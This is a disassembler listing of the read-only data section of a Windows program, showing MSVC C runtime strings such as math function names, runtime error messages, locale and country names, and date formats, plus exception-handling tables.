aFmod		db 'fmod',0             ; DATA XREF: .data:0045423Co
		align 4
a_hypot		db '_hypot',0           ; DATA XREF: .data:00454234o
		align 4
a_cabs		db '_cabs',0            ; DATA XREF: .data:0045422Co
		align 4
aLdexp		db 'ldexp',0            ; DATA XREF: .data:00454224o
		align 4
aModf		db 'modf',0             ; DATA XREF: .data:0045421Co
		align 4
aFabs		db 'fabs',0             ; DATA XREF: .data:00454214o
		align 4
aFloor		db 'floor',0            ; DATA XREF: .data:0045420Co
		align 4
aCeil		db 'ceil',0             ; DATA XREF: .data:00454204o
		align 4
aTan		db 'tan',0              ; DATA XREF: .data:004541FCo
aCos		db 'cos',0              ; DATA XREF: .data:004541F4o
aSin		db 'sin',0              ; DATA XREF: .data:004541ECo
aSqrt		db 'sqrt',0             ; DATA XREF: .data:004541E4o
		align 10h
aAtan2		db 'atan2',0            ; DATA XREF: .data:004541DCo
		align 4
aAtan		db 'atan',0             ; DATA XREF: .data:004541D4o
		align 10h
aAcos		db 'acos',0             ; DATA XREF: .data:004541CCo
		align 4
aAsin		db 'asin',0             ; DATA XREF: .data:004541C4o
		align 10h
aTanh		db 'tanh',0             ; DATA XREF: .data:004541BCo
		align 4
aCosh		db 'cosh',0             ; DATA XREF: .data:004541B4o
		align 10h
aSinh		db 'sinh',0             ; DATA XREF: .data:004541ACo
		align 4
aLog10		db 'log10',0            ; DATA XREF: .data:004541A4o
		align 10h
aLog_0		db 'log',0              ; DATA XREF: .data:0045419Co
aPow		db 'pow',0              ; DATA XREF: .data:00454194o
aExp		db 'exp',0              ; DATA XREF: .data:off_45418Co
		align 10h
dbl_43D2F0	dq 0.0			; DATA XREF: __handle_exc+D7r
					; __handle_exc+11Ar ...
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+1Ao
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: __ms_p5_mp_test_fdiv+6o
		align 10h
; char aE000[]
aE000		db 'e+000',0            ; DATA XREF: __cftoe2:loc_42C9E8o
		align 4
dword_43D328	dd 0FFFFFFFFh		; DATA XREF: ___FrameUnwindToState+5o
		dd offset loc_42D419
		dd offset loc_42D426
		align 8
dword_43D338	dd 0FFFFFFFFh, 0	; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
		dd offset sub_42D64D
		align 8
		dd offset loc_42D60E
		dd offset loc_42D61B
dword_43D350	dd 0FFFFFFFFh		; DATA XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
		dd offset loc_42D96C
		dd offset loc_42D972
		align 10h
dword_43D360	dd 0FFFFFFFFh		; DATA XREF: _DestructExceptionObject(EHExceptionRecord	*,uchar)+5o
		dd offset loc_42D9EE
		dd offset loc_42D9FD
		align 10h
dword_43D370	dd 0FFFFFFFFh, 0	; DATA XREF: terminate(void)+5o
		dd offset j__abort
		align 10h
		dd offset loc_42DB10
		dd offset loc_42DB16
dword_43D388	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42DB70+5o
		dd offset j_?terminate@@YAXXZ ;	terminate(void)
		align 8
		dd offset loc_42DBBC
		dd offset loc_42DBC2
aLc_time	db 'LC_TIME',0          ; DATA XREF: .data:0045440Co
aLc_numeric	db 'LC_NUMERIC',0       ; DATA XREF: .data:00454400o
		align 4
aLc_monetary	db 'LC_MONETARY',0      ; DATA XREF: .data:004543F4o
aLc_ctype	db 'LC_CTYPE',0         ; DATA XREF: .data:004543E8o
		align 4
aLc_collate	db 'LC_COLLATE',0       ; DATA XREF: .data:004543DCo
		align 4
aLc_all		db 'LC_ALL',0           ; DATA XREF: .data:off_4543D0o
		align 10h
; char asc_43D3E0[]
asc_43D3E0	db ';',0                ; DATA XREF: _setlocale:loc_42DEA3o
					; __setlocale_get_all+83o
		align 4
asc_43D3E4	db '=;',0               ; DATA XREF: _setlocale:loc_42DDD1o
		align 4
aSetlocal_c	db 'setlocal.c',0       ; DATA XREF: __setlocale_set_cat+3Eo
					; __setlocale_get_all+1Bo
		align 4
asc_43D3F4:				; DATA XREF: __setlocale_get_all+5Bo
		unicode	0, <=>,0
; char Control[]
Control		db '_.,',0              ; DATA XREF: ___lc_strtolc:loc_42E5E2o
; char a__4[]
a__4:					; DATA XREF: ___lc_lctostr+50o
					; ___init_numeric:loc_43474Bo
		unicode	0, <.>,0
a__5:					; DATA XREF: ___lc_lctostr+25o
		unicode	0, <_>,0
aFtell_c	db 'ftell.c',0          ; DATA XREF: _ftell+16o __ftell_lk+18o
dword_43D40C	dd 0			; DATA XREF: ___crtLCMapStringA+5Do
					; ___crtGetStringTypeA+58o ...
dword_43D410	dd 2 dup(0)		; DATA XREF: ___crtLCMapStringA+35o
					; ___crtGetStringTypeA+35o ...
dword_43D418	dd 0FFFFFFFFh		; DATA XREF: ___crtLCMapStringA+5o
		dd offset loc_42EFF6
		dd offset loc_42EFFC
		dd 0FFFFFFFFh
		dd offset loc_42F0EC
		dd offset loc_42F0F2
aStdenvp_c	db 'stdenvp.c',0        ; DATA XREF: __setenvp+5Bo
					; __setenvp+D0o
		align 4
aStdargv_c	db 'stdargv.c',0        ; DATA XREF: __setargv+72o
		align 4
aA_env_c	db 'a_env.c',0          ; DATA XREF: ___crtGetEnvironmentStringsA+E8o
					; ___crtGetEnvironmentStringsA+1C6o
aIoinit_c	db 'ioinit.c',0         ; DATA XREF: __ioinit+Bo __ioinit+106o
		align 4
aRuntimeError	db 'runtime error ',0   ; DATA XREF: .data:00454554o
		align 4
asc_43D46C	db 0Dh,0Ah,0		; DATA XREF: .data:0045454Co
		align 10h
aTlossError	db 'TLOSS error',0Dh,0Ah,0 ; DATA XREF: .data:00454544o
		align 10h
aSingError	db 'SING error',0Dh,0Ah,0 ; DATA XREF: .data:0045453Co
		align 10h
aDomainError	db 'DOMAIN error',0Dh,0Ah,0 ; DATA XREF: .data:00454534o
		align 10h
aR6028UnableToI	db 'R6028',0Dh,0Ah      ; DATA XREF: .data:0045452Co
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah      ; DATA XREF: .data:00454524o
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah      ; DATA XREF: .data:0045451Co
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah      ; DATA XREF: .data:00454514o
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah      ; DATA XREF: .data:0045450Co
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah      ; DATA XREF: .data:00454504o
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah      ; DATA XREF: .data:004544FCo
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah      ; DATA XREF: .data:004544F4o
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah      ; DATA XREF: .data:004544ECo
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah		; DATA XREF: .data:004544E4o
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah      ; DATA XREF: .data:004544DCo
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah      ; DATA XREF: .data:004544D4o
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_4544CCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+1A4o
		align 10h
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE:loc_4302DAo
		db 0Ah
		db 'Program: ',0
		align 4
aWinsig_c	db 'winsig.c',0         ; DATA XREF: .text:004308B1o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+5Fo
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA:loc_430D4Bo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+2Ao
aOsfinfo_c	db 'osfinfo.c',0        ; DATA XREF: __alloc_osfhnd+138o
		align 8
dword_43D778	dd 0FFFFFFFFh		; DATA XREF: ___crtGetStringTypeA+5o
		dd offset loc_4315B4
		dd offset loc_4315BA
a_getbuf_c	db '_getbuf.c',0        ; DATA XREF: __getbuf+16o __getbuf+48o
		align 10h
aMbtowc_c	db 'mbtowc.c',0         ; DATA XREF: __mbtowc_lk+21o
		align 4
; char aMb_cur_max1Mb_[]
aMb_cur_max1Mb_	db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: __mbtowc_lk+18o
		align 10h
aUngetc_c	db 'ungetc.c',0         ; DATA XREF: _ungetc+16o _ungetc_0+16o
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTzset_c	db 'tzset.c',0          ; DATA XREF: __tzset_lk+1D1o
; char VarName[]
VarName		db 'TZ',0               ; DATA XREF: __tzset_lk+35o
		align 4
aInittime_c	db 'inittime.c',0       ; DATA XREF: ___init_time+13o
		align 4
aInitnum_c	db 'initnum.c',0        ; DATA XREF: ___init_numeric+1CFo
					; ___init_numeric+215o	...
		align 10h
aInitmon_c	db 'initmon.c',0        ; DATA XREF: ___init_monetary+13o
		align 4
aInitctyp_c	db 'initctyp.c',0       ; DATA XREF: unknown_libname_28+52o
					; unknown_libname_28+6Bo ...
		align 4
aParaguay	db 'Paraguay',0         ; DATA XREF: .data:00454B4Co
		align 4
aUruguay	db 'Uruguay',0          ; DATA XREF: .data:00454B20o
aChile		db 'Chile',0            ; DATA XREF: .data:00454AF4o
		align 4
aEcuador	db 'Ecuador',0          ; DATA XREF: .data:00454AC8o
aArgentina	db 'Argentina',0        ; DATA XREF: .data:00454A9Co
		align 4
aPeru		db 'Peru',0             ; DATA XREF: .data:00454A70o
		align 10h
aColombia	db 'Colombia',0         ; DATA XREF: .data:00454A44o
		align 4
aVenezuela	db 'Venezuela',0        ; DATA XREF: .data:00454A18o
		align 4
aDominicanRepub	db 'Dominican Republic',0 ; DATA XREF: .data:004549ECo
		align 4
aSouthAfrica	db 'South Africa',0     ; DATA XREF: .data:004549C0o
		align 4
aPanama		db 'Panama',0           ; DATA XREF: .data:00454994o
		align 4
aLuxembourg	db 'Luxembourg',0       ; DATA XREF: .data:00454968o
		align 10h
aCostaRica	db 'Costa Rica',0       ; DATA XREF: .data:0045493Co
		align 4
aSwitzerland	db 'Switzerland',0      ; DATA XREF: .data:00454910o
aGuatemala	db 'Guatemala',0        ; DATA XREF: .data:004548E4o
		align 4
aCanada		db 'Canada',0           ; DATA XREF: .data:004548B8o
		align 4
aSpanishModernS	db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00454884o
		align 4
aAustralia	db 'Australia',0        ; DATA XREF: .data:00454860o
		align 10h
aEnglish	db 'English',0          ; DATA XREF: .data:00454858o
					; .data:004549B8o
aAustria	db 'Austria',0          ; DATA XREF: .data:00454834o
aGerman		db 'German',0           ; DATA XREF: .data:0045482Co
		align 4
aBelgium	db 'Belgium',0          ; DATA XREF: .data:00454808o
aMexico		db 'Mexico',0           ; DATA XREF: .data:004547DCo
		align 4
aSpanish	db 'Spanish',0          ; DATA XREF: .data:004547D4o
					; .data:004548DCo ...
aBasque		db 'Basque',0           ; DATA XREF: .data:004547A8o
		align 4
aSweden		db 'Sweden',0           ; DATA XREF: .data:00454784o
		align 10h
aSwedish	db 'Swedish',0          ; DATA XREF: .data:0045477Co
aIceland	db 'Iceland',0          ; DATA XREF: .data:00454758o
aIcelandic	db 'Icelandic',0        ; DATA XREF: .data:00454750o
		align 4
aFrance		db 'France',0           ; DATA XREF: .data:0045472Co
		align 4
aFrench		db 'French',0           ; DATA XREF: .data:00454724o
					; .data:00454800o ...
		align 4
aFinland	db 'Finland',0          ; DATA XREF: .data:00454700o
aFinnish	db 'Finnish',0          ; DATA XREF: .data:004546F8o
aSpain		db 'Spain',0            ; DATA XREF: .data:off_4546D4o
					; .data:004547B0o ...
		align 4
aSpanishTraditi	db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_4546CCo
		align 10h
aUnitedStates	db 'united-states',0    ; DATA XREF: .data:00454C20o
		align 10h
aUnitedKingdom	db 'united-kingdom',0   ; DATA XREF: .data:00454C18o
		align 10h
aTrinidadTobago	db 'trinidad & tobago',0 ; DATA XREF: .data:00454C08o
		align 4
aSouthKorea	db 'south-korea',0      ; DATA XREF: .data:00454C00o
aSouthAfrica_0	db 'south-africa',0     ; DATA XREF: .data:00454BF8o
		align 10h
aSouthKorea_0	db 'south korea',0      ; DATA XREF: .data:00454BF0o
aSouthAfrica_1	db 'south africa',0     ; DATA XREF: .data:00454BE8o
		align 4
aSlovak		db 'slovak',0           ; DATA XREF: .data:00454BE0o
		align 4
aPuertoRico	db 'puerto-rico',0      ; DATA XREF: .data:00454BD8o
aPrChina	db 'pr-china',0         ; DATA XREF: .data:00454BD0o
		align 4
aPrChina_0	db 'pr china',0         ; DATA XREF: .data:00454BC8o
		align 4
aNz		db 'nz',0               ; DATA XREF: .data:00454BC0o
		align 4
aNewZealand	db 'new-zealand',0      ; DATA XREF: .data:00454BB8o
aHongKong	db 'hong-kong',0        ; DATA XREF: .data:00454BB0o
		align 4
aHolland	db 'holland',0          ; DATA XREF: .data:00454BA8o
aGreatBritain	db 'great britain',0    ; DATA XREF: .data:00454BA0o
		align 4
aEngland	db 'england',0          ; DATA XREF: .data:00454B98o
aCzech		db 'czech',0            ; DATA XREF: .data:00454B90o
		align 4
aChina		db 'china',0            ; DATA XREF: .data:00454B88o
		align 4
aBritain	db 'britain',0          ; DATA XREF: .data:00454B80o
aAmerica	db 'america',0          ; DATA XREF: .data:off_454B78o
aUsa		db 'usa',0              ; DATA XREF: .data:00454E30o
aUs		db 'us',0               ; DATA XREF: .data:00454C28o
					; .data:00454E28o
		align 4
aUk		db 'uk',0               ; DATA XREF: .data:00454C10o
					; .data:00454E20o
		align 10h
aSwiss		db 'swiss',0            ; DATA XREF: .data:00454E18o
		align 4
aSwedishFinland	db 'swedish-finland',0  ; DATA XREF: .data:00454E10o
aSpanishVenezue	db 'spanish-venezuela',0 ; DATA XREF: .data:00454E08o
		align 4
aSpanishUruguay	db 'spanish-uruguay',0  ; DATA XREF: .data:00454E00o
aSpanishPuertoR	db 'spanish-puerto rico',0 ; DATA XREF: .data:00454DF8o
aSpanishPeru	db 'spanish-peru',0     ; DATA XREF: .data:00454DF0o
		align 10h
aSpanishParagua	db 'spanish-paraguay',0 ; DATA XREF: .data:00454DE8o
		align 4
aSpanishPanama	db 'spanish-panama',0   ; DATA XREF: .data:00454DE0o
		align 4
aSpanishNicarag	db 'spanish-nicaragua',0 ; DATA XREF: .data:00454DD8o
		align 4
aSpanishModern	db 'spanish-modern',0   ; DATA XREF: .data:00454DD0o
		align 4
aSpanishMexican	db 'spanish-mexican',0  ; DATA XREF: .data:00454DC8o
aSpanishHondura	db 'spanish-honduras',0 ; DATA XREF: .data:00454DC0o
		align 4
aSpanishGuatema	db 'spanish-guatemala',0 ; DATA XREF: .data:00454DB8o
		align 10h
aSpanishElSalva	db 'spanish-el salvador',0 ; DATA XREF: .data:00454DB0o
aSpanishEcuador	db 'spanish-ecuador',0  ; DATA XREF: .data:00454DA8o
aSpanishDominic	db 'spanish-dominican republic',0 ; DATA XREF: .data:00454DA0o
		align 10h
aSpanishCostaRi	db 'spanish-costa rica',0 ; DATA XREF: .data:00454D98o
		align 4
aSpanishColombi	db 'spanish-colombia',0 ; DATA XREF: .data:00454D90o
		align 4
aSpanishChile	db 'spanish-chile',0    ; DATA XREF: .data:00454D88o
		align 4
aSpanishBolivia	db 'spanish-bolivia',0  ; DATA XREF: .data:00454D80o
aSpanishArgenti	db 'spanish-argentina',0 ; DATA XREF: .data:00454D78o
		align 4
aPortugueseBraz	db 'portuguese-brazilian',0 ; DATA XREF: .data:00454D70o
		align 4
aNorwegianNynor	db 'norwegian-nynorsk',0 ; DATA XREF: .data:00454D68o
		align 4
aNorwegianBokma	db 'norwegian-bokmal',0 ; DATA XREF: .data:00454D60o
		align 4
aNorwegian	db 'norwegian',0        ; DATA XREF: .data:00454D58o
		align 4
aItalianSwiss	db 'italian-swiss',0    ; DATA XREF: .data:00454D50o
		align 4
aIrishEnglish	db 'irish-english',0    ; DATA XREF: .data:00454D48o
		align 4
aGermanSwiss	db 'german-swiss',0     ; DATA XREF: .data:00454D40o
		align 4
aGermanLuxembou	db 'german-luxembourg',0 ; DATA XREF: .data:00454D38o
		align 4
aGermanLichtens	db 'german-lichtenstein',0 ; DATA XREF: .data:00454D30o
aGermanAustrian	db 'german-austrian',0  ; DATA XREF: .data:00454D28o
aFrenchSwiss	db 'french-swiss',0     ; DATA XREF: .data:00454D20o
		align 10h
aFrenchLuxembou	db 'french-luxembourg',0 ; DATA XREF: .data:00454D18o
		align 4
aFrenchCanadian	db 'french-canadian',0  ; DATA XREF: .data:00454D10o
aFrenchBelgian	db 'french-belgian',0   ; DATA XREF: .data:00454D08o
		align 4
aEnglishUsa	db 'english-usa',0      ; DATA XREF: .data:00454D00o
aEnglishUs	db 'english-us',0       ; DATA XREF: .data:00454CF8o
		align 4
aEnglishUk	db 'english-uk',0       ; DATA XREF: .data:00454CF0o
		align 4
aEnglishTrinida	db 'english-trinidad y tobago',0 ; DATA XREF: .data:00454CE8o
		align 4
aEnglishSouthAf	db 'english-south africa',0 ; DATA XREF: .data:00454CE0o
		align 4
aEnglishNz	db 'english-nz',0       ; DATA XREF: .data:00454CD8o
		align 4
aEnglishJamaica	db 'english-jamaica',0  ; DATA XREF: .data:00454CD0o
aEnglishIre	db 'english-ire',0      ; DATA XREF: .data:00454CC8o
aEnglishCaribbe	db 'english-caribbean',0 ; DATA XREF: .data:00454CC0o
		align 4
aEnglishCan	db 'english-can',0      ; DATA XREF: .data:00454CB8o
aEnglishBelize	db 'english-belize',0   ; DATA XREF: .data:00454CB0o
		align 4
aEnglishAus	db 'english-aus',0      ; DATA XREF: .data:00454CA8o
aEnglishAmerica	db 'english-american',0 ; DATA XREF: .data:00454CA0o
		align 4
aDutchBelgian	db 'dutch-belgian',0    ; DATA XREF: .data:00454C98o
		align 4
aChineseTraditi	db 'chinese-traditional',0 ; DATA XREF: .data:00454C90o
aChineseSingapo	db 'chinese-singapore',0 ; DATA XREF: .data:00454C88o
		align 4
aChineseSimplif	db 'chinese-simplified',0 ; DATA XREF: .data:00454C80o
		align 10h
aChineseHongkon	db 'chinese-hongkong',0 ; DATA XREF: .data:00454C78o
		align 4
aChinese	db 'chinese',0          ; DATA XREF: .data:00454C70o
aChi		db 'chi',0              ; DATA XREF: .data:00454C68o
aChh		db 'chh',0              ; DATA XREF: .data:00454C60o
aCanadian	db 'canadian',0         ; DATA XREF: .data:00454C58o
		align 10h
aBelgian	db 'belgian',0          ; DATA XREF: .data:00454C50o
aAustralian	db 'australian',0       ; DATA XREF: .data:00454C48o
		align 4
aAmericanEnglis	db 'american-english',0 ; DATA XREF: .data:00454C40o
		align 4
aAmericanEngl_0	db 'american english',0 ; DATA XREF: .data:00454C38o
		align 4
aAmerican	db 'american',0         ; DATA XREF: .data:off_454C30o
		align 4
; char aOcp[]
aOcp		db 'OCP',0              ; DATA XREF: _ProcessCodePage:loc_435AB3o
; char aAcp[]
aAcp		db 'ACP',0              ; DATA XREF: _ProcessCodePage+16o
aChsize_c	db 'chsize.c',0         ; DATA XREF: __chsize_lk+38o
		align 4
; char aSize0[]
aSize0		db 'size >= 0',0        ; DATA XREF: __chsize_lk+2Co
		align 4
; char a1Qnan[]
a1Qnan		db '1#QNAN',0           ; DATA XREF: _$I10_OUTPUT:loc_43738Fo
		align 10h
; char a1Inf[]
a1Inf		db '1#INF',0            ; DATA XREF: _$I10_OUTPUT+19Bo
		align 4
; char a1Ind[]
a1Ind		db '1#IND',0            ; DATA XREF: _$I10_OUTPUT+168o
		align 10h
; char a1Snan[]
a1Snan		db '1#SNAN',0           ; DATA XREF: _$I10_OUTPUT+125o
		align 4
aHMmSs		db 'H:mm:ss',0          ; DATA XREF: .data:00454EE8o
aDdddMmmmDdYyyy	db 'dddd, MMMM dd, yyyy',0 ; DATA XREF: .data:00454EE4o
aMDYy		db 'M/d/yy',0           ; DATA XREF: .data:00454EE0o
		align 4
aPm_2		db 'PM',0               ; DATA XREF: .data:00454EDCo
		align 10h
aAm_0		db 'AM',0               ; DATA XREF: .data:00454ED8o
		align 4
aDecember	db 'December',0         ; DATA XREF: .data:00454ED4o
		align 10h
aNovember	db 'November',0         ; DATA XREF: .data:00454ED0o
		align 4
aOctober	db 'October',0          ; DATA XREF: .data:00454ECCo
aSeptember	db 'September',0        ; DATA XREF: .data:00454EC8o
		align 10h
aAugust		db 'August',0           ; DATA XREF: .data:00454EC4o
		align 4
aJuly		db 'July',0             ; DATA XREF: .data:00454EC0o
		align 10h
aJune		db 'June',0             ; DATA XREF: .data:00454EBCo
		align 4
aApril		db 'April',0            ; DATA XREF: .data:00454EB4o
		align 10h
aMarch		db 'March',0            ; DATA XREF: .data:00454EB0o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .data:00454EACo
		align 4
aJanuary	db 'January',0          ; DATA XREF: .data:00454EA8o
aDec		db 'Dec',0              ; DATA XREF: .data:00454EA4o
aNov		db 'Nov',0              ; DATA XREF: .data:00454EA0o
aOct		db 'Oct',0              ; DATA XREF: .data:00454E9Co
aSep		db 'Sep',0              ; DATA XREF: .data:00454E98o
aAug		db 'Aug',0              ; DATA XREF: .data:00454E94o
aJul		db 'Jul',0              ; DATA XREF: .data:00454E90o
aJun		db 'Jun',0              ; DATA XREF: .data:00454E8Co
aMay		db 'May',0              ; DATA XREF: .data:00454E88o
					; .data:00454EB8o
aApr		db 'Apr',0              ; DATA XREF: .data:00454E84o
aMar		db 'Mar',0              ; DATA XREF: .data:00454E80o
aFeb		db 'Feb',0              ; DATA XREF: .data:00454E7Co
aJan		db 'Jan',0              ; DATA XREF: .data:00454E78o
aSaturday	db 'Saturday',0         ; DATA XREF: .data:00454E74o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .data:00454E70o
		align 10h
aThursday	db 'Thursday',0         ; DATA XREF: .data:00454E6Co
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:00454E68o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .data:00454E64o
aMonday		db 'Monday',0           ; DATA XREF: .data:00454E60o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .data:00454E5Co
		align 10h
aSat		db 'Sat',0              ; DATA XREF: .data:00454E58o
aFri		db 'Fri',0              ; DATA XREF: .data:00454E54o
aThu		db 'Thu',0              ; DATA XREF: .data:00454E50o
aWed		db 'Wed',0              ; DATA XREF: .data:00454E4Co
aTue		db 'Tue',0              ; DATA XREF: .data:00454E48o
aMon		db 'Mon',0              ; DATA XREF: .data:00454E44o
aSun		db 'Sun',0              ; DATA XREF: .data:off_454E40o
; char aAP[]
aAP		db 'a/p',0              ; DATA XREF: __store_winword:loc_438933o
; char aAmPm[]
aAmPm		db 'am/pm',0            ; DATA XREF: __store_winword:loc_438913o
		align 4
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_438C60+9Co
					; sub_438C60+F1o
		align 8
dword_43E048	dd 0FFFFFFFFh		; DATA XREF: ___crtGetStringTypeW+5o
		dd offset loc_439027
		dd offset loc_43902D
		dd 0FFFFFFFFh
		dd offset loc_4390A6
		dd offset loc_4390AC
aWtombenv_c	db 'wtombenv.c',0       ; DATA XREF: ___wtomb_environ+44o
		align 10h
dword_43E070	dd 0FFFFFFFFh		; DATA XREF: ___crtGetLocaleInfoW+5o
		dd offset loc_439ADD
		dd offset loc_439AE3
		align 10h
dword_43E080	dd 0FFFFFFFFh		; DATA XREF: ___crtGetLocaleInfoA+5o
		dd offset loc_439C7F
		dd offset loc_439C85
aA_cmp_c	db 'a_cmp.c',0          ; DATA XREF: ___crtCompareStringA+17Fo
; char aCchcount10Cchc[]
aCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: ___crtCompareStringA:loc_439EA3o
		align 8
dword_43E0D8	dd 0FFFFFFFFh		; DATA XREF: ___crtCompareStringA+5o
		dd offset loc_43A00F
		dd offset loc_43A015
		dd 0FFFFFFFFh
		dd offset loc_43A0AD
		dd offset loc_43A0B3
aSetenv_c	db 'setenv.c',0         ; DATA XREF: ___crtsetenv+B2o
					; ___crtsetenv+F2o ...
		align 4
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_43A6C0+1Fo
		dd offset dword_43E208
off_43E110	dd offset sub_43A840	; DATA XREF: sub_43A720+44o
					; sub_43A7E0+1Fo ...
		dd offset sub_43A790	; ?what@runtime_error@std@@UBEPBDXZ
					; doubtful name
		dd offset sub_43A7B0
		dd offset dword_43E258
off_43E120	dd offset sub_43A960	; DATA XREF: sub_43A870+16o
					; sub_43A910+Ao ...
		dd offset sub_43A790	; ?what@runtime_error@std@@UBEPBDXZ
					; doubtful name
		dd offset sub_43A930
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_43A9C0+1Fo
		dd offset dword_43E2A8
off_43E148	dd offset sub_43AAA0	; DATA XREF: sub_43AA20+16o
					; sub_43AA50+Ao ...
		dd offset sub_43A790	; ?what@runtime_error@std@@UBEPBDXZ
					; doubtful name
		dd offset sub_43AA70
		dd offset dword_43E2D8
off_43E158	dd offset ??_Gexception@@UAEPAXI@Z ; DATA XREF:	.text:0043B15Ao
					; exception::exception(char const * const &)+Co ...
					; exception::`scalar deleting destructor'(uint)
		dd offset ?what@exception@@UBEPBDXZ ; exception::what(void)
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: exception::what(void):loc_43B338o
		align 4
		dd offset dword_43E320
off_43E178	dd offset ??_Gtype_info@@UAEPAXI@Z
					; DATA XREF: type_info::~type_info(void)+Ao
					; type_info::type_info(type_info const &)+Ao ...
					; type_info::`scalar deleting destructor'(uint)
		align 10h
dword_43E180	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	_CxxThrowException(x,x)+Do
		dd 3, 19930520h, 2 dup(0)
dword_43E1A0	dd 0FFFFFFFFh		; DATA XREF: ___crtLCMapStringW+5o
		dd offset loc_43B7BF
		dd offset loc_43B7C5
		dd 0FFFFFFFFh
		dd offset loc_43B864
		dd offset loc_43B86A
off_43E1B8	dd offset off_4551F0	; DATA XREF: .rdata:0043E1ECo
					; .rdata:0043E240o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_43E1D0	dd offset off_455208	; DATA XREF: .rdata:off_43E1E8o
					; .rdata:0043E23Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_43E1E8	dd offset off_43E1D0	; DATA XREF: .rdata:0043E204o
		dd offset off_43E1B8
dword_43E1F0	dd 4 dup(0)		; DATA XREF: .rdata:0043E218o
		dd 2
		dd offset off_43E1E8
dword_43E208	dd 3 dup(0)		; DATA XREF: .rdata:0043E10Co
		dd offset off_455208
		dd offset dword_43E1F0+8
		align 10h
off_43E220	dd offset off_455228	; DATA XREF: .rdata:off_43E238o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_43E238	dd offset off_43E220	; DATA XREF: .rdata:0043E254o
		dd offset off_43E1D0
		dd offset off_43E1B8
		dd 0
		db    0			; DATA XREF: .rdata:0043E268o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3
		dd offset off_43E238
dword_43E258	dd 3 dup(0)		; DATA XREF: .rdata:0043E11Co
		dd offset off_455228
		dd offset unk_43E248
		align 10h
off_43E270	dd offset off_455248	; DATA XREF: .rdata:off_43E288o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_43E288	dd offset off_43E270	; DATA XREF: .rdata:0043E2A4o
		dd offset off_43E1D0
		dd offset off_43E1B8
		dd 0
		db    0			; DATA XREF: .rdata:0043E2B8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3
		dd offset off_43E288
dword_43E2A8	dd 3 dup(0)		; DATA XREF: .rdata:0043E144o
		dd offset off_455248
		dd offset unk_43E298
off_43E2BC	dd offset off_43E1B8	; DATA XREF: .rdata:0043E2D4o
dword_43E2C0	dd 4 dup(0)		; DATA XREF: .rdata:0043E2E8o
		dd 1
		dd offset off_43E2BC
dword_43E2D8	dd 3 dup(0)		; DATA XREF: .rdata:0043E154o
		dd offset off_4551F0
		dd offset dword_43E2C0+8
		align 10h
off_43E2F0	dd offset off_455268	; DATA XREF: .rdata:off_43E308o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_43E308	dd offset off_43E2F0	; DATA XREF: .rdata:0043E31Co
dword_43E30C	dd 3 dup(0)		; DATA XREF: .rdata:0043E330o
		dd 1
		dd offset off_43E308
dword_43E320	dd 3 dup(0)		; DATA XREF: .rdata:0043E174o
		dd offset off_455268
